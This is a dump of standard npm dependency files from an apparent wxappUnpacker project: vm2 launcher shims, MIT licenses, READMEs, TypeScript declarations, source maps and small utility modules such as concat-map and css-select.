5 | IF EXIST "%dp0%\node.exe" (
6 | SET "_prog=%dp0%\node.exe"
7 | ) ELSE (
8 | SET "_prog=node"
9 | SET PATHEXT=%PATHEXT:;.JS;=;%
10 | )
11 |
12 | "%_prog%" "%dp0%\..\vm2\bin\vm2" %*
13 | ENDLOCAL
14 | EXIT /b %errorlevel%
15 | :find_dp0
16 | SET dp0=%~dp0
17 | EXIT /b
18 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/.bin/vm2.ps1:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env pwsh
2 | $basedir=Split-Path $MyInvocation.MyCommand.Definition -Parent
3 |
4 | $exe=""
5 | if ($PSVersionTable.PSVersion -lt "6.0" -or $IsWindows) {
6 | # Fix case when both the Windows and Linux builds of Node
7 | # are installed in the same directory
8 | $exe=".exe"
9 | }
10 | $ret=0
11 | if (Test-Path "$basedir/node$exe") {
12 | & "$basedir/node$exe" "$basedir/../vm2/bin/vm2" $args
13 | $ret=$LASTEXITCODE
14 | } else {
15 | & "node$exe" "$basedir/../vm2/bin/vm2" $args
16 | $ret=$LASTEXITCODE
17 | }
18 | exit $ret
19 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/abbrev/README.md:
--------------------------------------------------------------------------------
1 | # abbrev-js
2 |
3 | Just like [ruby's Abbrev](http://apidock.com/ruby/Abbrev).
4 |
5 | Usage:
6 |
7 | var abbrev = require("abbrev");
8 | abbrev("foo", "fool", "folding", "flop");
9 |
10 | // returns:
11 | { fl: 'flop'
12 | , flo: 'flop'
13 | , flop: 'flop'
14 | , fol: 'folding'
15 | , fold: 'folding'
16 | , foldi: 'folding'
17 | , foldin: 'folding'
18 | , folding: 'folding'
19 | , foo: 'foo'
20 | , fool: 'fool'
21 | }
22 |
23 | This is handy for command-line scripts, or other cases where you want to be able to accept shorthands.
24 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/balanced-match/.npmignore:
--------------------------------------------------------------------------------
1 | test
2 | .gitignore
3 | .travis.yml
4 | Makefile
5 | example.js
6 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/balanced-match/LICENSE.md:
--------------------------------------------------------------------------------
1 | (MIT)
2 |
3 | Copyright (c) 2013 Julian Gruber <julian@juliangruber.com>
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy of
6 | this software and associated documentation files (the "Software"), to deal in
7 | the Software without restriction, including without limitation the rights to
8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
9 | of the Software, and to permit persons to whom the Software is furnished to do
10 | so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/boolbase/README.md:
--------------------------------------------------------------------------------
1 | #boolbase
2 | This very simple module provides two basic functions, one that always returns true (`trueFunc`) and one that always returns false (`falseFunc`).
3 |
4 | ###WTF?
5 |
6 | By having only a single instance of these functions around, it's possible to do some nice optimizations. Eg. [`CSSselect`](https://github.com/fb55/CSSselect) uses these functions to determine whether a selector won't match any elements. If that's the case, the DOM doesn't even have to be touched.
7 |
8 | ###And why is this a separate module?
9 |
10 | I'm trying to modularize `CSSselect` and most modules depend on these functions. IMHO, having a separate module is the easiest solution to this problem.
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/boolbase/index.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | trueFunc: function trueFunc(){
3 | return true;
4 | },
5 | falseFunc: function falseFunc(){
6 | return false;
7 | }
8 | };
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/brace-expansion/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2013 Julian Gruber
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/cheerio-select-tmp/README.md:
--------------------------------------------------------------------------------
1 | # cheerio-select [](https://npmjs.org/package/cheerio-select) [](http://travis-ci.org/cheeriojs/cheerio-select) [](https://npmjs.org/package/cheerio-select) [](https://coveralls.io/r/cheeriojs/cheerio-select)
2 |
3 | CSS selector engine supporting jQuery selectors, based on [`css-select`](https://github.com/fb55/css-select).
4 |
5 | Supports all jQuery positional pseudo-selectors:
6 |
7 | - `:first`
8 | - `:last`
9 | - `:eq`
10 | - `:nth`
11 | - `:gt`
12 | - `:lt`
13 | - `:even`
14 | - `:odd`
15 | - `:not(:positional)`, where `:positional` is any of the above.
16 |
17 | This library is a thin wrapper around [`css-select`](https://github.com/fb55/css-select).
18 | Only use this module if you will actually use jQuery positional selectors.
19 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/cheerio-select-tmp/lib/helpers.d.ts:
--------------------------------------------------------------------------------
1 | import type { NodeWithChildren } from "domhandler";
2 | import type { Selector } from "css-what";
3 | export declare function getDocumentRoot(node: NodeWithChildren): NodeWithChildren;
4 | export declare function groupSelectors(selectors: Selector[][]): [plain: Selector[][], filtered: Selector[][]];
5 | //# sourceMappingURL=helpers.d.ts.map
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/cheerio-select-tmp/lib/helpers.d.ts.map:
--------------------------------------------------------------------------------
1 | {"version":3,"file":"helpers.d.ts","sourceRoot":"","sources":["../src/helpers.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,YAAY,CAAC;AACnD,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,UAAU,CAAC;AAGzC,wBAAgB,eAAe,CAAC,IAAI,EAAE,gBAAgB,GAAG,gBAAgB,CAGxE;AAED,wBAAgB,cAAc,CAC1B,SAAS,EAAE,QAAQ,EAAE,EAAE,GACxB,CAAC,KAAK,EAAE,QAAQ,EAAE,EAAE,EAAE,QAAQ,EAAE,QAAQ,EAAE,EAAE,CAAC,CAa/C"}
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/cheerio-select-tmp/lib/helpers.js:
--------------------------------------------------------------------------------
1 | "use strict";
2 | Object.defineProperty(exports, "__esModule", { value: true });
3 | exports.groupSelectors = exports.getDocumentRoot = void 0;
4 | var positionals_1 = require("./positionals");
5 | function getDocumentRoot(node) {
6 | while (node.parent)
7 | node = node.parent;
8 | return node;
9 | }
10 | exports.getDocumentRoot = getDocumentRoot;
11 | function groupSelectors(selectors) {
12 | var filteredSelectors = [];
13 | var plainSelectors = [];
14 | for (var _i = 0, selectors_1 = selectors; _i < selectors_1.length; _i++) {
15 | var selector = selectors_1[_i];
16 | if (selector.some(positionals_1.isFilter)) {
17 | filteredSelectors.push(selector);
18 | }
19 | else {
20 | plainSelectors.push(selector);
21 | }
22 | }
23 | return [plainSelectors, filteredSelectors];
24 | }
25 | exports.groupSelectors = groupSelectors;
26 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/cheerio-select-tmp/lib/index.d.ts:
--------------------------------------------------------------------------------
1 | import { Options as CSSSelectOptions } from "css-select";
2 | import type { Element, Node } from "domhandler";
3 | export declare type Options = CSSSelectOptions;
4 | export declare function filter(selector: string, elements: Element[], options?: Options): Element[];
5 | export declare function select(selector: string, root: Element | Element[], options?: Options): Element[];
6 | //# sourceMappingURL=index.d.ts.map
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/cheerio-select-tmp/lib/index.d.ts.map:
--------------------------------------------------------------------------------
1 | {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AACA,OAAO,EAEH,OAAO,IAAI,gBAAgB,EAE9B,MAAM,YAAY,CAAC;AAEpB,OAAO,KAAK,EAAE,OAAO,EAAE,IAAI,EAAE,MAAM,YAAY,CAAC;AAchD,oBAAY,OAAO,GAAG,gBAAgB,CAAC,IAAI,EAAE,OAAO,CAAC,CAAC;AAsCtD,wBAAgB,MAAM,CAClB,QAAQ,EAAE,MAAM,EAChB,QAAQ,EAAE,OAAO,EAAE,EACnB,OAAO,GAAE,OAAY,GACtB,OAAO,EAAE,CAIX;AA2DD,wBAAgB,MAAM,CAClB,QAAQ,EAAE,MAAM,EAChB,IAAI,EAAE,OAAO,GAAG,OAAO,EAAE,EACzB,OAAO,GAAE,OAAY,GACtB,OAAO,EAAE,CAqBX"}
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/cheerio-select-tmp/lib/positionals.d.ts:
--------------------------------------------------------------------------------
1 | import type { Selector, PseudoSelector } from "css-what";
2 | export declare type Filter = "first" | "last" | "eq" | "nth" | "gt" | "lt" | "even" | "odd" | "not";
3 | export declare const filterNames: Set;
4 | export interface CheerioSelector extends PseudoSelector {
5 | name: Filter;
6 | data: string | null;
7 | }
8 | export declare function isFilter(s: Selector): s is CheerioSelector;
9 | export declare function getLimit(filter: Filter, data: string | null): number;
10 | //# sourceMappingURL=positionals.d.ts.map
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/cheerio-select-tmp/lib/positionals.d.ts.map:
--------------------------------------------------------------------------------
1 | {"version":3,"file":"positionals.d.ts","sourceRoot":"","sources":["../src/positionals.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,QAAQ,EAAE,cAAc,EAAE,MAAM,UAAU,CAAC;AAEzD,oBAAY,MAAM,GACZ,OAAO,GACP,MAAM,GACN,IAAI,GACJ,KAAK,GACL,IAAI,GACJ,IAAI,GACJ,MAAM,GACN,KAAK,GACL,KAAK,CAAC;AACZ,eAAO,MAAM,WAAW,aASP,CAAC;AAElB,MAAM,WAAW,eAAgB,SAAQ,cAAc;IACnD,IAAI,EAAE,MAAM,CAAC;IACb,IAAI,EAAE,MAAM,GAAG,IAAI,CAAC;CACvB;AAED,wBAAgB,QAAQ,CAAC,CAAC,EAAE,QAAQ,GAAG,CAAC,IAAI,eAAe,CAS1D;AAED,wBAAgB,QAAQ,CAAC,MAAM,EAAE,MAAM,EAAE,IAAI,EAAE,MAAM,GAAG,IAAI,GAAG,MAAM,CAgBpE"}
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/cheerio/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2016 Matt Mueller
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/cheerio/lib/options.js:
--------------------------------------------------------------------------------
1 | /*
2 | * Cheerio default options
3 | */
4 |
5 | exports.default = {
6 | xml: false,
7 | decodeEntities: true,
8 | };
9 |
10 | var xmlModeDefault = { _useHtmlParser2: true, xmlMode: true };
11 |
12 | exports.flatten = function (options) {
13 | return options && options.xml
14 | ? typeof options.xml === 'boolean'
15 | ? xmlModeDefault
16 | : Object.assign({}, xmlModeDefault, options.xml)
17 | : options;
18 | };
19 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/commander/LICENSE:
--------------------------------------------------------------------------------
1 | (The MIT License)
2 |
3 | Copyright (c) 2011 TJ Holowaychuk
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining
6 | a copy of this software and associated documentation files (the
7 | 'Software'), to deal in the Software without restriction, including
8 | without limitation the rights to use, copy, modify, merge, publish,
9 | distribute, sublicense, and/or sell copies of the Software, and to
10 | permit persons to whom the Software is furnished to do so, subject to
11 | the following conditions:
12 |
13 | The above copyright notice and this permission notice shall be
14 | included in all copies or substantial portions of the Software.
15 |
16 | THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
19 | IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
20 | CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
21 | TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
22 | SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
23 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/concat-map/.travis.yml:
--------------------------------------------------------------------------------
1 | language: node_js
2 | node_js:
3 | - 0.4
4 | - 0.6
5 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/concat-map/LICENSE:
--------------------------------------------------------------------------------
1 | This software is released under the MIT license:
2 |
3 | Permission is hereby granted, free of charge, to any person obtaining a copy of
4 | this software and associated documentation files (the "Software"), to deal in
5 | the Software without restriction, including without limitation the rights to
6 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
7 | the Software, and to permit persons to whom the Software is furnished to do so,
8 | subject to the following conditions:
9 |
10 | The above copyright notice and this permission notice shall be included in all
11 | copies or substantial portions of the Software.
12 |
13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
15 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
16 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
17 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
18 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
19 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/concat-map/example/map.js:
--------------------------------------------------------------------------------
1 | var concatMap = require('../');
2 | var xs = [ 1, 2, 3, 4, 5, 6 ];
3 | var ys = concatMap(xs, function (x) {
4 | return x % 2 ? [ x - 0.1, x, x + 0.1 ] : [];
5 | });
6 | console.dir(ys);
7 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/concat-map/index.js:
--------------------------------------------------------------------------------
1 | module.exports = function (xs, fn) {
2 | var res = [];
3 | for (var i = 0; i < xs.length; i++) {
4 | var x = fn(xs[i], i);
5 | if (isArray(x)) res.push.apply(res, x);
6 | else res.push(x);
7 | }
8 | return res;
9 | };
10 |
11 | var isArray = Array.isArray || function (xs) {
12 | return Object.prototype.toString.call(xs) === '[object Array]';
13 | };
14 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/concat-map/test/map.js:
--------------------------------------------------------------------------------
1 | var concatMap = require('../');
2 | var test = require('tape');
3 |
4 | test('empty or not', function (t) {
5 | var xs = [ 1, 2, 3, 4, 5, 6 ];
6 | var ixes = [];
7 | var ys = concatMap(xs, function (x, ix) {
8 | ixes.push(ix);
9 | return x % 2 ? [ x - 0.1, x, x + 0.1 ] : [];
10 | });
11 | t.same(ys, [ 0.9, 1, 1.1, 2.9, 3, 3.1, 4.9, 5, 5.1 ]);
12 | t.same(ixes, [ 0, 1, 2, 3, 4, 5 ]);
13 | t.end();
14 | });
15 |
16 | test('always something', function (t) {
17 | var xs = [ 'a', 'b', 'c', 'd' ];
18 | var ys = concatMap(xs, function (x) {
19 | return x === 'b' ? [ 'B', 'B', 'B' ] : [ x ];
20 | });
21 | t.same(ys, [ 'a', 'B', 'B', 'B', 'c', 'd' ]);
22 | t.end();
23 | });
24 |
25 | test('scalars', function (t) {
26 | var xs = [ 'a', 'b', 'c', 'd' ];
27 | var ys = concatMap(xs, function (x) {
28 | return x === 'b' ? [ 'B', 'B', 'B' ] : x;
29 | });
30 | t.same(ys, [ 'a', 'B', 'B', 'B', 'c', 'd' ]);
31 | t.end();
32 | });
33 |
34 | test('undefs', function (t) {
35 | var xs = [ 'a', 'b', 'c', 'd' ];
36 | var ys = concatMap(xs, function () {});
37 | t.same(ys, [ undefined, undefined, undefined, undefined ]);
38 | t.end();
39 | });
40 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/config-chain/LICENCE:
--------------------------------------------------------------------------------
1 | Copyright (c) 2011 Dominic Tarr
2 |
3 | Permission is hereby granted, free of charge,
4 | to any person obtaining a copy of this software and
5 | associated documentation files (the "Software"), to
6 | deal in the Software without restriction, including
7 | without limitation the rights to use, copy, modify,
8 | merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom
10 | the Software is furnished to do so,
11 | subject to the following conditions:
12 |
13 | The above copyright notice and this permission notice
14 | shall be included in all copies or substantial portions of the Software.
15 |
16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
18 | OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
19 | IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR
20 | ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
21 | TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
22 | SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-select/lib/attributes.d.ts:
--------------------------------------------------------------------------------
1 | import { CompiledQuery, InternalOptions } from "./types";
2 | import type { AttributeSelector, AttributeAction } from "css-what";
3 | /**
4 | * Attribute selectors
5 | */
6 | export declare const attributeRules: Record(next: CompiledQuery, data: AttributeSelector, options: InternalOptions) => CompiledQuery>;
7 | //# sourceMappingURL=attributes.d.ts.map
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-select/lib/attributes.d.ts.map:
--------------------------------------------------------------------------------
1 | {"version":3,"file":"attributes.d.ts","sourceRoot":"","sources":["../src/attributes.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,aAAa,EAAE,eAAe,EAAE,MAAM,SAAS,CAAC;AACzD,OAAO,KAAK,EAAE,iBAAiB,EAAE,eAAe,EAAE,MAAM,UAAU,CAAC;AAanE;;GAEG;AACH,eAAO,MAAM,cAAc,EAAE,MAAM,CAC/B,eAAe,EACf,CAAC,IAAI,EAAE,WAAW,SAAS,IAAI,EAC3B,IAAI,EAAE,aAAa,CAAC,WAAW,CAAC,EAChC,IAAI,EAAE,iBAAiB,EACvB,OAAO,EAAE,eAAe,CAAC,IAAI,EAAE,WAAW,CAAC,KAC1C,aAAa,CAAC,WAAW,CAAC,CA0JlC,CAAC"}
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-select/lib/compile.d.ts:
--------------------------------------------------------------------------------
1 | import { InternalSelector } from "./types";
2 | import type { CompiledQuery, InternalOptions } from "./types";
3 | /**
4 | * Compiles a selector to an executable function.
5 | *
6 | * @param selector Selector to compile.
7 | * @param options Compilation options.
8 | * @param context Optional context for the selector.
9 | */
10 | export declare function compile(selector: string, options: InternalOptions, context?: ElementNode[]): CompiledQuery;
11 | export declare function compileUnsafe(selector: string, options: InternalOptions, context?: ElementNode[] | ElementNode): CompiledQuery;
12 | export declare function compileToken(token: InternalSelector[][], options: InternalOptions, context?: ElementNode[] | ElementNode): CompiledQuery;
13 | //# sourceMappingURL=compile.d.ts.map
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-select/lib/compile.d.ts.map:
--------------------------------------------------------------------------------
1 | {"version":3,"file":"compile.d.ts","sourceRoot":"","sources":["../src/compile.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,gBAAgB,EAAE,MAAM,SAAS,CAAC;AAU3C,OAAO,KAAK,EAAE,aAAa,EAAE,eAAe,EAAE,MAAM,SAAS,CAAC;AAE9D;;;;;;GAMG;AACH,wBAAgB,OAAO,CAAC,IAAI,EAAE,WAAW,SAAS,IAAI,EAClD,QAAQ,EAAE,MAAM,EAChB,OAAO,EAAE,eAAe,CAAC,IAAI,EAAE,WAAW,CAAC,EAC3C,OAAO,CAAC,EAAE,WAAW,EAAE,GACxB,aAAa,CAAC,WAAW,CAAC,CAG5B;AAED,wBAAgB,aAAa,CAAC,IAAI,EAAE,WAAW,SAAS,IAAI,EACxD,QAAQ,EAAE,MAAM,EAChB,OAAO,EAAE,eAAe,CAAC,IAAI,EAAE,WAAW,CAAC,EAC3C,OAAO,CAAC,EAAE,WAAW,EAAE,GAAG,WAAW,GACtC,aAAa,CAAC,WAAW,CAAC,CAG5B;AA6CD,wBAAgB,YAAY,CAAC,IAAI,EAAE,WAAW,SAAS,IAAI,EACvD,KAAK,EAAE,gBAAgB,EAAE,EAAE,EAC3B,OAAO,EAAE,eAAe,CAAC,IAAI,EAAE,WAAW,CAAC,EAC3C,OAAO,CAAC,EAAE,WAAW,EAAE,GAAG,WAAW,GACtC,aAAa,CAAC,WAAW,CAAC,CA2C5B"}
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-select/lib/general.d.ts:
--------------------------------------------------------------------------------
1 | import type { CompiledQuery, InternalOptions, InternalSelector, CompileToken } from "./types";
2 | export declare function compileGeneralSelector(next: CompiledQuery, selector: InternalSelector, options: InternalOptions, context: ElementNode[] | undefined, compileToken: CompileToken): CompiledQuery;
3 | //# sourceMappingURL=general.d.ts.map
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-select/lib/general.d.ts.map:
--------------------------------------------------------------------------------
1 | {"version":3,"file":"general.d.ts","sourceRoot":"","sources":["../src/general.ts"],"names":[],"mappings":"AAEA,OAAO,KAAK,EACR,aAAa,EACb,eAAe,EACf,gBAAgB,EAChB,YAAY,EACf,MAAM,SAAS,CAAC;AAMjB,wBAAgB,sBAAsB,CAAC,IAAI,EAAE,WAAW,SAAS,IAAI,EACjE,IAAI,EAAE,aAAa,CAAC,WAAW,CAAC,EAChC,QAAQ,EAAE,gBAAgB,EAC1B,OAAO,EAAE,eAAe,CAAC,IAAI,EAAE,WAAW,CAAC,EAC3C,OAAO,EAAE,WAAW,EAAE,GAAG,SAAS,EAClC,YAAY,EAAE,YAAY,CAAC,IAAI,EAAE,WAAW,CAAC,GAC9C,aAAa,CAAC,WAAW,CAAC,CAmI5B"}
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-select/lib/index.d.ts.map:
--------------------------------------------------------------------------------
1 | {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAOA,OAAO,KAAK,EACR,aAAa,EACb,OAAO,EAEP,KAAK,EACL,OAAO,EAEV,MAAM,SAAS,CAAC;AAGjB,YAAY,EAAE,OAAO,EAAE,CAAC;AA0CxB;;GAEG;AACH,eAAO,MAAM,OAAO,oLAA0B,CAAC;AAC/C,eAAO,MAAM,cAAc,oLAA6B,CAAC;AACzD,eAAO,MAAM,aAAa,oNAA4B,CAAC;AA6BvD,wBAAgB,cAAc,CAAC,IAAI,EAAE,WAAW,SAAS,IAAI,EACzD,KAAK,EAAE,WAAW,GAAG,WAAW,EAAE,EAClC,OAAO,EAAE,OAAO,CAAC,IAAI,EAAE,WAAW,CAAC,EACnC,sBAAsB,UAAQ,GAC/B,IAAI,EAAE,CAYR;AAgBD;;;;;;;;;GASG;AACH,eAAO,MAAM,SAAS,6KASrB,CAAC;AAEF;;;;;;;;GAQG;AACH,eAAO,MAAM,SAAS,kLASrB,CAAC;AAEF;;;;;;;;;;GAUG;AACH,wBAAgB,EAAE,CAAC,IAAI,EAAE,WAAW,SAAS,IAAI,EAC7C,IAAI,EAAE,WAAW,EACjB,KAAK,EAAE,KAAK,CAAC,WAAW,CAAC,EACzB,OAAO,CAAC,EAAE,OAAO,CAAC,IAAI,EAAE,WAAW,CAAC,GACrC,OAAO,CAKT;AAED;;;GAGG;AACH,eAAe,SAAS,CAAC;AAGzB,OAAO,EAAE,OAAO,EAAE,OAAO,EAAE,MAAM,oBAAoB,CAAC"}
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-select/lib/procedure.d.ts:
--------------------------------------------------------------------------------
1 | import type { Traversal } from "css-what";
2 | import type { InternalSelector } from "./types";
3 | export declare const procedure: Record;
4 | export declare function isTraversal(t: InternalSelector): t is Traversal;
5 | //# sourceMappingURL=procedure.d.ts.map
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-select/lib/procedure.d.ts.map:
--------------------------------------------------------------------------------
1 | {"version":3,"file":"procedure.d.ts","sourceRoot":"","sources":["../src/procedure.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,UAAU,CAAC;AAC1C,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,SAAS,CAAC;AAEhD,eAAO,MAAM,SAAS,EAAE,MAAM,CAAC,gBAAgB,CAAC,MAAM,CAAC,EAAE,MAAM,CAY9D,CAAC;AAEF,wBAAgB,WAAW,CAAC,CAAC,EAAE,gBAAgB,GAAG,CAAC,IAAI,SAAS,CAE/D"}
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-select/lib/procedure.js:
--------------------------------------------------------------------------------
1 | "use strict";
2 | Object.defineProperty(exports, "__esModule", { value: true });
3 | exports.isTraversal = exports.procedure = void 0;
4 | exports.procedure = {
5 | universal: 50,
6 | tag: 30,
7 | attribute: 1,
8 | pseudo: 0,
9 | "pseudo-element": 0,
10 | descendant: -1,
11 | child: -1,
12 | parent: -1,
13 | sibling: -1,
14 | adjacent: -1,
15 | _flexibleDescendant: -1,
16 | };
17 | function isTraversal(t) {
18 | return exports.procedure[t.type] < 0;
19 | }
20 | exports.isTraversal = isTraversal;
21 |
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-select/lib/pseudo-selectors/filters.d.ts:
--------------------------------------------------------------------------------
1 | import type { CompiledQuery, InternalOptions } from "../types";
2 | export declare type Filter = (next: CompiledQuery, text: string, options: InternalOptions, context?: ElementNode[]) => CompiledQuery;
3 | export declare const filters: Record;
4 | //# sourceMappingURL=filters.d.ts.map
--------------------------------------------------------------------------------
/wxapp/wxappUnpacker/node_modules/css-select/lib/pseudo-selectors/filters.d.ts.map:
--------------------------------------------------------------------------------
1 | {"version":3,"file":"filters.d.ts","sourceRoot":"","sources":["../../src/pseudo-selectors/filters.ts"],"names":[],"mappings":"AAGA,OAAO,KAAK,EAAE,aAAa,EAAE,eAAe,EAAW,MAAM,UAAU,CAAC;AAGxE,oBAAY,MAAM,GAAG,CAAC,IAAI,EAAE,WAAW,SAAS,IAAI,EAChD,IAAI,EAAE,aAAa,CAAC,WAAW,CAAC,EAChC,IAAI,EAAE,MAAM,EACZ,OAAO,EAAE,eAAe,CAAC,IAAI,EAAE,WAAW,CAAC,EAC3C,OAAO,CAAC,EAAE,WAAW,EAAE,KACtB,aAAa,CAAC,WAAW,CAAC,CAAC;AA6BhC,eAAO,MAAM,OAAO,EAAE,MAAM,CAAC,MAAM,EAAE,MAAM,CAgL1C,CAAC"}
--------------------------------------------------------------------------------
